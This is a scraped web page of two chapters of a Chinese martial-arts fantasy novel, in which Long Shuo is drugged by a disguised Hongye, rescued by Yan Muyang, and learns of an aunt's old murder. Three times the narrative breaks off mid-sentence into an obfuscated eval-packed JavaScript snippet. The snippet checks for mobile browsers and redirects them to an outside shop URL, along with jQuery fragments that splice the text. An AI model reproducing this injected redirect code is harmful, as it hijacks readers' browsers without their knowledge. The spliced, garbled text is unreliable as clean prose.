d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17355754|197615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我?去哪里都行啊!你带我跑了这么远,一定不会再遇到那个坏老头儿啦,嘻嘻,公子再见啦!” 肥蜗牛虽说了再见,但等到它钻入草丛中隐没身形却是又过了许久。 龙烁暗想:“那蜗牛说前面不远处便有一户人家,只是位置有些隐秘,而后面至少要再走一个时辰才能找到人家!我该选择往哪边走呢?” 他抬头看看天上,虽然月上中天明亮耀眼,但自己已经饥肠辘辘精疲力竭,实在不想再多走一步路。 权衡再三,龙烁起身往前面走去。 行了一炷香的功夫,龙烁发现四下里仍是一片漆黑,周围除了茂密的山林和崎岖的道路一无所有,看不到一点有人家的迹象。 “莫不是已经走过了那户人家吧!” 他正自奇怪,忽听左边林中隐隐传来一名中年妇人的呵斥之声。 他拨开茂密的枝叶向里瞧去,竟发现这后面竟隐藏着一间小室。 小室没有点灯,周围又爬满爬山虎,黑乎乎地看不到里面。 却听那妇人在里面叫骂:“你简直气死我了,咳咳咳——” 那妇人声音孱弱又不住咳嗽,显是得了肺病。 忽听一个嘶哑的声音道:“母亲,您就别操心了!” 龙烁暗暗惊奇:“这儿子的声音听起来死气沉沉的竟然比他母亲还要苍老!” 那妇人道:“我怎么能不操心呢,咳咳,人家是主子,咱们是仆人,你怎敢惦记于她?何况,她现在已经成了婚,你们永远没有可能!” “母亲,您误会了——” “咳咳!我误会?你本来是姓陈的,却私自改了名字,做娘的我还不明白你这是什么心思吗?” “我对少主从未有过非分之想,只想护她一世平安喜乐!” “笑话!”那中年妇人嘲笑:“她的平安喜乐自然有她的丈夫去守护,哪轮到你来关心!” “她根本不爱她的丈夫!” “混账!” 只听“啪”的一声响,那妇人似是打了她儿子一巴掌。 “这话是咱们做仆人能说得的吗?”那妇人继续训斥:“更何况,嫁鸡随鸡嫁狗随狗,咳咳,女人这一辈子就是这样,即使不爱也要恪守妇道,贞洁给了人家,心里心外都不能再装着别人!” “那您惦记我爹吗?” “哼!”那妇人啐了一口:“像他这样的人也佩有人爱吗?我当初对他百般温柔,咳咳,可是最后呢,他还不是抛弃了我!” “那您恨他吗?” “咳咳,恨又怎么样,难道我还能杀了他?” “那日在南宫府,他也来了!” “什么?你见到他了?” “没有,擦肩而过!” “那——那你去追他了吗?追上了没有?” “母亲,您还是放不下他,是不是?” “胡说,我,我早就放下了!”那妇人回忆:“当年我怀着你四处找他不到,寒冷的冬天里缺衣少食,我不幸得了肺病,还遗传给了你,咳咳,他害得咱们娘儿俩还不够惨吗? 这个天杀的淫贼浪子,抛弃了我又另寻新欢,我恨不得——我恨不得将他碎尸万段!” 龙烁暗自疑惑:“这妇人口中所说的忘恩负义之人莫不是那采花大盗陈糠粟吧?若真是这样,这妇人确是可怜,那陈糠粟好色至极,又怎会对某一名女子从一而终。她自己疾病缠身,又要一个人辛辛苦苦将孩子拉扯大,定是吃了不少苦头。” “娘,我知道,你们女人经常口是心非,嘴上说着恨他,心中却想他!”那男子顿了顿:“那日他掳走少主,幸得我及时赶到,否则后果不堪设想,当时我一气之下打伤了他,母亲您不要怪我!若不是看在他是我爹的份上,我一定杀了他!” “你伤了他?咳咳,好啊,他真是活该,那他认出你了吗?” “他不认得我!” 那妇人深深叹一口气:“你为何不抓他来见我?” “我听到背后异动,想来是他的帮手到了,我担心寡不敌众,于是便带少主离开了!” “嗯,咳咳,这个天杀的,下次你再见到他,一定要杀了他,咳咳咳咳!” “儿子打伤父亲已是不孝,我又岂能杀他?下次我再见到他,必会带他来见您!” “嗯!” 那妇人似乎太过激动,止不住咳嗽。 “母亲,您吃个琵琶润润肺吧,我上次给您买的不小心被打掉了,口感不好,这次我又特地买了些,巴蜀的琵琶确实很甜!” 龙烁忽然一惊,这嘶哑的声音,这死气沉沉的语调,巴蜀的琵琶,主子仆人,莫非他是? 正在此时,龙烁忽感后背一紧,整个人突然被一股大力猛力一拉,仰天倒在地上。 一人高声嚷道:“少——啊不是,原来你小子在这啊,我们终于找到你啦,哈哈!” 龙烁抬头一看,竟然又是那群戴着红头巾的蒙面黑衣人。 他们有十几人,每人的眼神都异常兴奋,他们围成一圈俯视龙烁。 “又是你们,你们到底是谁?” “你不用管我们是谁,总之我们是来教训你的,来呀,给我上!” 黑衣人举刀向龙烁砍去。 龙烁慌忙起身躲避,连连高喊:“救命啊,救命啊——” 小室的木门“吱呀”一声打开了,里面走出一名年轻男子。 此人头戴玉簪身穿绿衣,疑惑地看着门外这一群陌生的人。 “枫林救我!” 43.桂花甘露 龙烁侧身躲过一人的袭击,又向枫林求救:“是我龙烁,他们要杀我,快救我——” “吱呀”一声轻响,龙烁回头一瞧,木门竟又关上了。 枫林回到小室再也不出来。 屋中妇人好奇:“是谁在外面?” “孩儿不识!不必管他!” 龙烁惊讶已极,心中疑惑:“我两人见过不止一次,他为什么忽然不记得我了!” 危难之际,他顾不得多想,躲躲闪闪地往林中跑去。 “快点追,别让他跑了——”黑衣人穷追不舍。 龙烁拼尽全力奔逃,依然听到身后叫嚷之声越来越近。 千钧一发之际,他再次催动分身术法。 “砰”的一声响,周围一下子出现十几名分身。 黑衣人顿时被吓得愣在原地,一人高喊:“一个——一个也不能放跑!” “是!” 十几名分身感受到了主人的疲惫,他们互通心意,如猛虎出笼般分别向四面八方奔跑,龙烁本人则趁机窜入草丛之中。 待到黑衣人跑没影后,龙烁终于长出一口气。 万籁俱寂之下,他脑中不断闪出刚才的画面,暗暗惑道:“这群黑衣人从巫山追我到万兽山,又从万兽山追到这里,不知他们究竟是什么人?” 过了一会儿,他又想:“枫林的母亲说枫林喜欢少主,莫非就是红叶?”,他转念又想:“不对不对,那妇人说他们的少主已经嫁了人,所以那一定不是红叶,但是我也没有听说红叶有姐妹啊,啊是了,定是说她的表姐表妹!” 想到这里,龙烁终于放下心来,他闭上眼睛养精蓄锐,打算休息一会儿然后去找红叶。 不知过了多久,忽听不远处草丛闪动,龙烁连忙坐起身子。 东北方向站着一名白衣女子,那女子身轻如烟,正缓缓向这边走来。 龙烁不禁打一个寒战,暗自祈祷:“老天爷,求求你千万不要让我在这里遇到鬼啊!” 随着那女子越走越近,龙烁的心跳声也跟着越来越响。 那女子走至近前,龙烁顿时呼吸急促,心跳更是加快了一倍。 只见那女子容貌清秀、气质脱俗、如莲似竹,冰肌玉骨,正是他在画中见到的那位道家仙子。 龙烁不禁看得呆了。 回过神后,他忙问:“元君姐姐,是你吗?你哭了?你为何事伤心难过?” 那女子轻声问:“你认得我?” 声音轻柔悦耳,略带清冷之意。 “我,我在画中见过你,你——你活过来了?” 龙烁不自觉地结巴起来,暗暗鄙夷:“龙烁啊龙烁,你真是太也没有出息,见到画中仙子竟然紧张得话都说不顺溜,莫得让人家瞧你不起!” 他转念一想,红叶妹子也是万中无一的美貌女子,却没有一见到就怦然心动的感觉,想来必定是因为红叶妹子是凡间的美人,而这太元玉女却是天宫的尤物。 那仙子道:“你为何只身在此?” “我我,我是遇到了仇家追杀,啊不不,我从未跟任何人结下过仇怨,我,我也不知道为何被人追杀,总之,我是一路逃到这儿的!” “你一直在逃避追杀?” “啊不是,那群黑衣人是刚才出现的!” 那仙子又问:“那你的衣衫为何如此破烂?” “我的衣衫?” 龙烁低头瞧瞧自己的衣服,果然已经褴褛不堪,暗想:“我在松树林和杨树林中练习分身术法,竟没发现衣服已经多处被划烂——”,连忙解释:“啊,是我练习术法时不小心划破了,让元君姐姐见笑了!敢问元君姐姐,你——你真的是从天上下来的神仙么?” 仙子正欲回答,却听到龙烁肚腹中一阵咕噜噜鸣叫,问道:“你饿了?” “啊是,呵呵,我已经一天没吃东西了!” 那仙子从怀中取出一只小瓷瓶递给龙烁:“这桂花甘露可以充饥,你喝了吧!” “啊,多谢元君姐姐!” 龙烁接过瓷瓶轻轻一闻:“好香啊!”,他举起瓷瓶一饮而尽,不住赞叹:“人们常说观音菩萨的杨枝甘露是玉液琼浆,我看呐,远远不及元君姐姐的桂花甘露更加令人沉醉,呵呵!” 那仙子轻叹一声:“你喜欢我!” 龙烁腾地一下子红透耳根,他浑没想到元君姐姐说话竟如此直截了当,强作镇定道:“元君姐姐为什么这么问?” “从你看我的眼神,我就知道,你喜欢我!” 龙烁连忙赔礼:“在下确实对元君姐姐倾慕有加,但无意冒犯,绝无非分之想,这就告辞!” 他说着转身便要离开。 “站住!” 龙烁一步也不敢再往前挪动。 “转过身来!” 心中小鹿乱撞,他悠悠转过身子,不敢去看那女子的面庞。 “你为何不看我?” “我,我,我是怕——” “怕我杀了你么?” “啊不不,不是,我与元君姐姐无冤无仇,你怎么可能杀我,呵呵!” “我问你,你有没有妻子?” “在下尚未成家,何来妻子?” 那女子轻笑:“很好,如此一来,你便可不必再有任何顾及了,是吗?” “什么不必顾及?” 一股燥热之感席卷全身,龙烁身子一震,全身上下忽然变得热血沸腾起来,他情不自禁,想一把将太元玉女搂在怀里。 龙烁使劲晃晃脑袋,对自己刚才的胡思乱想十分鄙夷,心中暗道:“龙烁啊龙烁,你枉称自己是正人君子,仙子姐姐如此圣洁,你怎能起那禽兽之念?” 过得片刻,手中的瓷瓶掉到地上,龙烁的眼神开始迷离涣散,双手不自觉地向那仙子的脸颊摸去。 寒风呼啸,龙烁瞬间又清醒了些,他连忙将那仙子推开一段距离:“元君姐姐,我好像饿得有些神志不清了,请你——请你离我远些!” 那仙子却不退反进:“那日我身中欲毒,也如你这般滋味,当时我多么希望你及时出现,可是,你没有!”,她眼泛泪花,哀怨道:“我恨你,却又舍不得你,老天绝了我们的路,我没有法子!” 龙烁大感莫名其妙:“元君姐姐,你是在跟我说话吗?” 那仙子看向自己的身子,凄然道:“既然你喜欢这副皮囊,我便随了你的意,咱二人就做一对苦命鸳鸯,事成之后,我先杀你,然后自杀!” 她说着流下一滴眼泪,伸手去解龙烁的衣衫。 龙烁大惊,连连后退,他双腿一软,一下子跌倒在草丛之中。 那仙子缓缓蹲下身来,将龙烁的外衣脱去一半。 “元君姐姐不可——” 龙烁使出浑身力气阻拦,却被那仙子轻轻一推,摔倒在草地之上。 “难道你不喜欢我吗?” 那仙子一把扯去龙烁的中衣,纤纤玉手顺势滑下,竟又要去解龙烁的裤子。 “元君姐姐,住手啊——” 龙烁不敢想象接下来要发生的事情,他紧闭双眼大吼:“元君姐姐冰清玉洁——绝不可让我这凡夫俗子玷污你的清白——” 那仙子仍不停手。 龙烁继续大喊:“我虽倾慕元君姐姐,但真的从未有过非分之想,况且,况且我已经有未婚妻子了,她的名字叫南宫红叶,我二人已有婚约,我龙烁无论如何也不能辜负她,更不会做对不起她的事——” 那仙子终于停下。 忽听一中年女子叹气道:“你这鬼丫头,竟让你抢先一步!” 龙烁一惊,猛地睁开眼来,南宫夫人赫然出现在自己面前。 她身后跟着一名绿衣仆人,正是枫林。 南宫夫人厌恶地看向龙烁:“你想娶我女儿为妻?哼,不要做梦了!” 龙烁不解:“怎么回事?元君姐姐呢?” 枫林轻轻弯下腰,将那白衣仙子抱了起来。 她似乎被人点中了昏睡穴,此时已经不省人事。 龙烁紧张道:“你们不要伤害她!” “可笑!你连我女儿的脾气秉性都摸不透,举止口吻都辨不出,还说什么喜欢她、要娶她为妻!呵,你们男人啊,从来都是嘴上说着一套,心里想着一套,而实际做的,却又是另外一套!” 南宫夫人啐了一口,口中默默念了个诀。 枫林怀中女子的白衣忽地变成了红衣。 竟是南宫红叶! “伯母,这,这到底底怎么回事啊?” “什么怎么回事,事实不是很清楚吗?” 龙烁挣扎半晌仍站不起身:“是您给我下了毒?” “呵,你这个小贼如此愚蠢,也不知道叶儿到底看上了你哪一点!” 南宫夫人捡起掉在地上的小瓷瓶:“你吃的这个叫作云汉牝牡散,是叶儿从那淫贼手中偷来的!我早就发现这个傻丫头私藏这不正经的玩意,以为是留我的好侄儿用,却没想到她今日拿来用在你的身上!” 龙烁恍然大悟,但他更关心的并非此事:“伯母你说什么?红叶她——她已经嫁给了谢灵雨?” “是啊!”南宫夫人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17360683|197615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得意一笑:“那日她身中情欲之毒,幸亏枫林及时出现,那晚我将她与灵雨侄儿一起锁在屋中,后面的事,呵呵,不用我再多说了吧?” 龙烁惊得呆了:“难怪,难怪她说那日她身中欲毒,多么希望我出现在她身边!难怪,难怪她刚才萌生死志,要跟我作对苦命的鸳鸯,原来是想着与我同归于尽!”龙烁心中悲苦,连连叹气:“她当时该有多么绝望啊!都怪我没有及时赶到,是我害了她!” 此刻龙烁双颊滚烫燥热难当,眼角抑制不住地泛起泪花,泪花随即被他身上的热力蒸发。 “哼,你确实该死!”南宫夫人呵斥:“你最大的过错,就是你根本就不应该出现! 我叶儿和灵雨侄儿从小一起长大,他二人青梅竹马两小无猜,可自从你出现以后,我叶儿性情大变,她对我不再如往日那般言听计从,动不动就要离家出走,昨日竟还跟我动了手!若不是因为你,我叶儿她又怎么会变成这样?哼,今日我一定要亲手杀了你——” 南宫夫人抽出腰间软剑直指龙烁喉咙。 龙烁无力反抗,更无心反抗:“伯母你要杀我,我无话可说,可是,可是红叶她明明知道我的心意,为什么她还要一心求死?” 龙烁左思右想不能明白:“对了,她刚才说什么不想与我为敌,说什么老天绝了我们的路,这,这到底是什么意思啊?” “啊,这个啊!”南宫夫人淡淡一笑:“我只是骗她说,你父亲杀死了我的姐姐,咱们两家有世仇!” 龙烁顿时怒火中烧,身子更加燥热烦恶:“伯母你为什么这样说?” 南宫夫人咯咯娇笑:“你不知道为什么吗?当然是因为我不想叶儿继续执迷不悟了——” “您就不怕红叶她知道真相以后会恨你吗?” “我现在杀了你,你不去说,又有谁会去告诉她真相,她又怎会恨我?” 龙烁摇头苦笑,他全没想到红叶竟有个这样的母亲,为达目的,不择手段:“伯母,我实在不明白,为什么您长得如观音菩萨一般美丽,心肠却如蛇蝎一般歹毒!” “臭小子你说什么?你说我的心肠配不上我的美貌?”她挥动长剑刺向龙烁:“我看你是活得不耐烦了!” “哼,你要杀就杀,又何必废话!” 龙烁侧头闭目,不屑再看她一眼。 “呵,你倒挺有骨气,受死吧——” 剑尖滑落,只听“铛”的一声响,龙猛一睁眼,却见南宫夫人的软剑已经断成两半。 一名白衣男子手持冰剑挡在龙烁面前。 “沐阳兄,是你吗?” 那白衣男子却问:“娘,是您吗?” 黑暗之中,几人都是一怔。 龙烁以为听错了,但面前的确是燕沐阳无疑,又问:“沐阳兄,你说什么?” 南宫夫人问:“你叫我什么?” 燕沐阳缓缓向她走近:“娘,是我,燕燃——” 他的语气十分关切,声音却依旧清冷低沉。 “哼!”南宫夫人手指龙烁:“你想救他,叫我什么也没用!” 燕沐阳轻轻摇头:“您是,聂霏云,是我的娘亲!” 闻声,南宫夫人脸色大变,她忙背过身去:“你认错人了,枫林,咱们走——” 枫林抱着昏迷中的红叶紧紧跟随。 燕沐阳忽地闪身到他们面前,伸手点住了他们的穴道。 走近一看,这中年妇人眉心一点红晕,燕沐阳大感失落,微微摇头:“你不是我娘,你是何人,竟敢变作我娘亲的模样?” 他一拂衣袖,南宫夫人忽然化作一个相貌丑陋的中年妇人。 此人尖嘴阔鼻,浓眉珠眼,竟生得如猩猩一般! 枫林险些没有站稳身子,若不是他被点中穴道,此时已将红叶摔了下来。 那女子怒道:“好小子,你的乱真易容术法功力竟然在我之上,是谁教你的?” 燕沐阳不答,他提起冰剑,剑尖直指她喉咙:“说,你究竟是何人,竟敢冒充我娘!” “呵,好啊!当年我见她怀有身孕便手下留情,只给了她一掌,料想她活不过半年,没想到,她竟撑到生下了你,当真伟大! 只可惜,她不是一个母亲,却不是一个好姐姐!哈哈哈哈——” 这魔怔的笑声使得被烧得晕晕乎乎的龙烁又清醒一些。 燕沐阳怒问:“是你害死了我的娘亲?你究竟是何人?” 燕沐阳的神情冰冷到了极点,低沉的声音已带杀气。 “呵,我是你娘的亲妹妹!我叫——聂霏雨!” 44.身世谜团 燕沐阳不解:“那你为何,对我娘亲痛下杀手?” “哼,为什么!因为她抢走我的男人!” “你的男人?”龙烁暗想:“他的男人不是南宫盈吗?” “不错!”聂霏雨恨恨道:“当初是我先认识燕沚羽的!可是,他遇到我姐姐后便一见倾心无法自拔,无论我如何挽留,他还是离开了!从那以后,我便对我姐姐怀恨在心! 我姐姐生的随我妈妈,从小就是美人胚子,而我却生的随我爹爹!从小到大,爹爹妈妈始终偏向于她!呵,我从小养成自卑性格,自觉低人一等,做什么事都尽量让她,然而在我心里,我无时无刻不讨厌着她! 但我知道,这怪不得她,怪只怪我命不好,我认命!可是,当我遇到燕沚羽后一切变得不一样了!”,她脸上露出幸福神色,仿佛回到当年一般:“我的生命又燃起希望,我的生活又充满阳光,我深深地爱上了他,因为,他是唯一一个对我温柔以待的男人! 可是,她聂霏云却把他抢走了,把我生命中唯一的希望抢走了,你说,我能不恨她?” 迷迷糊糊中,龙烁反问:“你确定燕伯伯——不是对所有的人都温柔以待?” 聂霏雨轻笑一声:“我不管他待别人如何,于我而言,他却是唯一一个待我好的男人!” 龙烁劝说:“伯母,我看您很可能——很可能是一厢情愿啊!” “一厢情愿也好,两情相悦也罢,总之,是她聂霏云抢走了我生命中最重要的人!那时我刚满二十,一时想不开跑去跳崖,现在想来当时是真的傻! 幸亏我遇到恩师,她收我为徒,教我乱真易容术法!我化作姐姐的模样去找燕沚羽,想把他抢回来,却在途中遇到了她! 那时她已怀有六个月的身孕,而燕沚羽竟不在她身边!呵,我当时感觉,老天终于站在了我这边!我忍了她一辈子,也让了她一辈子,这一次,我忍无可忍,让无可让! 我一掌将她打晕后便去寻找燕沚羽,可是我到处都找不到他,直到过了很久我才知道,自从他得知聂霏云受伤就带着她隐居起来了!”,聂霏雨眼角滑下一滴泪珠:“我本以为聂霏云死后,他一定会再出现,呵呵,却没想到,即使他知道聂霏云是我打伤的也不来找我,自那之后,我再也没有见到过他,也打听不到他二人的任何消息!” 燕沐阳胸口不住起伏,他一把抓起聂霏雨胸口的衣衫:“你只是难过我父亲不来找你,我却难过他为何不来杀你!他不杀你,我杀——” 他将冰剑架到聂霏雨的脖颈。 龙烁从没见过燕沐阳如此震怒,他害怕燕沐阳一时冲动做出后悔之事,忙劝说:“沐阳兄,她是你的姨母,你不能杀她——” 燕沐阳冷言相向:“她可以杀我娘,我为何不能杀她!”,他说着又将冰剑移近半寸。 聂霏雨尖叫一声,鲜血顺着剑锋徐徐流下。 “住手——”龙烁急喊:“你可曾想过——你父亲为何不来杀她?” 燕沐阳犹豫片刻:“未曾,也不必——”,说罢又要动手。 “万一是你娘的心愿呢?” 龙烁千方百计阻止燕沐阳杀聂霏雨,一来是为燕沐阳考虑,二来也是为自己担忧。只因他与燕沐阳已是同生共死的好兄弟,而红叶又是自己心爱的女子,他实在不愿看到他们两家从此结下仇怨。 燕沐阳转头看向龙烁,微微皱眉:“我娘的心愿?” “是啊!你想啊,燕伯伯痛失爱妻却不去寻仇,这其中的原因可想而知,必是你母亲的心愿,如果你杀了她,不但燕伯伯无法原谅你,就连你过世的娘亲也一定不会原谅你的!” 闻声,燕沐阳缓缓放下冰剑,他沉思片刻,悠悠道:“好,既然如此,待我问过父亲大人后再说!” 他转身走向聂霏雨:“我先问你,你师父是谁?” 聂霏雨瞥他一眼:“你问我师父作甚?你要去找她报仇?哼,我师父早在十年前就销声匿迹,你永远也找不到她了,哈哈哈哈——” 燕沐阳微微皱起眉头。 龙烁有气无力地问:“我说伯母,你连你师父都找不到了——干嘛还这么开心?” 聂霏雨开心道:“聂霏云已经死了,现在只要这个小杂种不开心,我就非常开心,哈哈哈哈——” 燕沐阳面色不改,又问:“你师父收过几位弟子?” “怎么?你想把她们赶尽杀绝?哈哈哈,别做梦了,你根本杀不完的——” 燕沐阳将剑尖对准聂霏雨:“快说——” 聂霏雨心想:他去寻师姐们的晦气那是再好不过,借刀杀人又有何不可,师父弟子众多,我说几个武功厉害的师姐给他便了! 她喃喃道:“我师父曾经立下重誓,乱真易容法她只传女不传男,她一生收徒无数,我只知其中几位师姐的名字,比如韦霜雪、上官悦、范玉儿、凌霄霄、朱梅!” “上官悦——她果然是名女子!”龙烁暗叹。 燕沐阳急问:“你这几位师姐现在何处?” “不知,我也已经有很多年没有见过她们了!” 龙烁又想:“聂霏雨唤上官悦做师姐,而沐阳兄却喊她做师叔,看来聂霏云拜师更早,而聂霏雨又似乎不知道她姐姐也会使乱真易容术!” 燕沐阳略感失望,他微微叹一口气:“好吧,我暂且饶你性命,可是,你打我母亲的那一掌,我须得替她还上!”,他说着推出一掌,击中聂霏雨的右肩。 聂霏雨肩膀吃痛,口中兀自喷出一大口鲜血。 燕沐阳将龙烁扶起,给他穿好衣衫,纵身一跃,带他离开,却听聂霏云在二人身后阴笑:“你既不敢杀我,就叫燕沚羽来找我——” 燕沐阳携着龙烁头也不回,向锦官城的方向奔去。 龙烁恋恋不舍望向红叶,问燕沐阳:“你点了他们的穴道,不会有事吧?” “无妨,次日即解!” 龙烁终于放下心来,他的胳膊被燕沐阳拢在肩头,整个身子的重量几乎都压在燕沐阳的身上。 龙烁情欲渐盛,焦灼燥热之感愈发浓烈,他低声哀求:“沐阳兄,我现在燥热难耐,需要泄火——” 燕沐阳忽地停下,伸手去摸龙烁的额头,竟十分烫手:“好,你忍一下!” 龙烁连忙点头,他正打算就地躺下,却突然被燕沐阳拦腰提起,调转方向往东奔去。 又过一炷香的时间,二人来到河边,奔上一座小竹桥,燕沐阳将龙烁轻轻放下,伸手去解他的衣裳。 龙烁催促:“脱裤子就好!” 燕沐阳微微一怔:“下河泻火,为何脱裤子?” “什——什么?你要扔我下河?” 龙烁哭笑不得:“亏你想得出!” “不然呢?” 龙烁深深叹一口气:“河里太冷了,我不要下河,你想别的办法吧——” “什么办法?” “你把手伸进去,然后——” 一句话没说完,龙烁胸口一阵剧痛,紧跟着身子斜飞而出,扑通一下掉进河中。 还没反应过来发生了什么事,龙烁已经沉到河底,他挣扎着向上游去,然而本就浑身无力,又遇到河水强大的阻力,更是难以发力,还没有冒出水面,已经连呛几口水。 待到终于浮出水面,他连忙大喊:“燕沐阳,你个没良心的,救命,我没力气游泳啊,快救我——” 燕沐阳宛如一尊玉像,稳稳矗立在桥头,漠然道:“没火了,再说!” 扑腾片刻,龙烁身子的火气下去不少,心中的怒火却越烧越旺,他奋力向岸边蠕动,然而已经精疲力竭,身子如灌了铅般不住下沉,不一会儿功夫便失去意识不省人事。 翌日,龙烁感到周身十分舒适,似乎睡在一张柔软的床榻之上,久违的温暖让他感觉像做梦一般。 一时间,他不愿睁眼,生怕这美好的感觉忽然间消失不见。 迷迷糊糊中,龙烁听见旁边有人说话,细细辨别,那人责问:“你说找到人后便随我回去,现在却仍不走又是为何?” 此人声音有些熟悉,龙烁一时间想不起是谁。 过得片刻,无人应答。 那男子继续问:“你可知那日伯父有多担心你吗?再过几天又到望日,难道你还要留在这?” 龙烁一惊,原来是了清道长! “太奇怪了!若换作别人,哪怕是一个眼神抑或是一个动作,我都看得清楚明白,唯独你,我却看不出!你到底在想什么?” 那人不答。 龙烁暗想:他一定是在跟沐阳公子说话。 了清继续问:“那日你在众人面前受辱,幸得我及时赶到,不然我都不知该如何向伯父交代!此地不宜久留,你还是赶快随我回去吧!” 没有回应。 了清又劝:“南宫府里的那些所谓的英雄侠士,你别看他们摆出大义为公的样子,其实是另有企图!江湖之人的险恶用心,岂是你能看得清楚的?” “了兄不过大我两岁!” 正是燕沐阳的声音。 “我虽只大你两岁,却有轻身术法护体,读心术法护身,而你呢,寒冰术法虽然精湛,却有聚有散,难以自控。 何况伯父早已立下规矩,要你们燕氏后代终身不得出谷、不得涉事江湖、不得在外人面前使用寒冰之术,而你呢,不但背父出谷,还在外人面前使用了寒冰术,你难道没有丝毫悔意?” 燕沐阳不语。 “我留给你的书信想必你已看过,我回去之后等你几日仍不见你回来,又来南下寻你!我从南宫府救你到这里时,你已经神志不清,我运功一夜助你恢复,却没想到第二日你竟又不见踪影,你知道我有多担心吗?” 燕沐阳不答。 “你能否告诉我,你这一路南下究竟是为何?” 燕沐阳不应。 龙烁暗道:他是来寻找他师叔! 了清又问:“你这段时间到底遇到了什么事,南宫府的那些人为何针对你?” 燕沐阳仍是不语。 龙烁暗道:净心以乱真易容术法冒充沐阳兄偷走《天书》,而真正的燕沐阳又被古兄抓去南宫府,这才引起大家的误会啊!” 了清怒问:“你为何不说话?你究竟有没有拿我当你的兄弟?” 燕沐阳仍是沉默。 “了清道长——”龙烁起身打个哈欠,懒洋洋道:“沐阳兄此次南 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17369796|197615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来所遇到的事情不是一句话两句话能说得明白的,你既是他的兄弟,一定也知道他说话就跟挤牙膏似的,你硬是要他给你叙述这一个月以来发生的所有事情,呵呵,我看啊,比登天还难呐!” 燕沐阳踱步到龙烁床边:“你醒了!” 龙烁看向燕沐阳,感叹:“真是好笑!” 燕沐阳问:“何事可笑?” “我本来也一直猜不透沐阳兄你到底在想些什么,可是刚刚听到你们的对话,我似乎又明白你在想什么了,你说是不是好笑?” 燕沐阳对于龙烁这种没正经的话早已经习以为常。他向来都是沉静应对,那就是——不予理会。 他一拂衣袖,起身离开,不过这次却撂下一句:“你又如何懂得!” 龙烁环视四周,原来自己躺在一家客栈之内。 此地虽不比“悦仙居”的客房高端大气,却别有一股温馨舒适之感。 燕沐阳和了清道长在一旁悄然而立。二人均是一袭白衣飘然若仙。了清道长一尾拂尘握在手中,更加仙风道骨。 “这是哪里?”,龙烁问。 了清道长回应:“这是‘明心客栈’,是我带沐阳来这儿疗伤的,那日多亏你仗义帮助,他们后来没有为难你吧?” “啊,他们本来想为难我来着,但是后来又发生了许多事,一言难尽,总之我也安全逃出来了,呵呵!” 了清道长微微点头:“那就好!” 龙烁拱手:“在下龙烁,久闻了清道长大名,幸会幸会!” “龙公子不必客气,你与沐阳既是朋友,自然也是我的朋友!” 龙烁大喜:“这一个月来发生了太多的事,若不是沐阳兄屡次从旁相助,我绝难一次又一次地化险为夷,在我心里,他已是我同生共死的好兄弟!” 燕沐阳道:“我这便要回家去了!” “你要回浸云谷了?”龙烁疑问:“可是,你还没找到你的师叔啊?” “下月十六,是我十八岁生辰,我须尽快,回到父亲身边!” 龙烁赞叹:“不错不错,生日是该跟家人一起过才对!”,他想起自己离家出走已有几个月,父亲恐怕也已经担心坏了,他暗暗盘算尽快找到红叶后便带她一起回家。 了清道长问燕沐阳:“你的师叔?是谁?怎么从来没有听你跟我提起过?” 燕沐阳叹一口气:“我也是才知!” “你找他作甚?” “无事!” “你有事瞒我!”,了清道长轻嗔薄怒:“你连我也不能相信吗?” 龙烁抢道:“他不过是想与他师叔学习乱真易容术法罢了!” “噢?”,了清疑问:“这是为何?乱真易容术法你不是已经学会了?” 龙烁又道:“这有什么难理解啊,习武之人自是讲究精益求精,就比方说我的锥风术吧,我就没有学透,还需要继续深造!” 了清道长不解:“龙公子的家传术法博大精深,从一品到九品层层递进,品级越高,威力越大,而沐阳的乱真易容术法已经极为精深,没有必要再继续深造了!” “那倒是!”龙烁十分赞同:“他的乱真易容术法功力连他的姨母都比不过,这点我可以做证!” 燕沐阳眉头微皱:“还不够!”,他转身又问龙烁:“你今后如何打算?” “我?”,龙烁叹了一口气:“自然是要去偷偷找红叶了,如果她心里还有我,我便——我便带她离开这里回我家去!” 燕沐阳提醒:“她母亲心术不正,你自己务须当心!” 龙烁微微点头,暗想:他也不叫红叶的母亲一声姨母,看来沐阳兄的确恨她! 燕沐阳和了清道长收拾好行李正欲离开,那幅太元玉女的画像忽然从了清道长的衣袖中掉出。 画像翻开一半滚到龙烁的脚边,恰好露出太元玉女清丽淡雅的脸庞。 龙烁忽地想起昨晚红叶易容成太元玉女的模样,心念一动,俯身捡起画像:“了清道长,我有个不情之请,你可否将这幅太元玉女的画像赠予我留作纪念?” 了清道长忙摸自己衣袖,转身抢下画像:“此画是我了明师弟所作,普天之下仅此一幅,实在对不住!” 他将画卷收回衣袖。 “既是如此,在下实不该来横刀夺爱!”,龙烁提醒他:“画绢轻柔掷地无声,道长不如安上卷轴,再掉到地上便会发出声响,这样就不容易遗失了!” “啊!”,了清道长将拂尘一扬,拱手道:“多谢提醒!” “道长不必客气!” 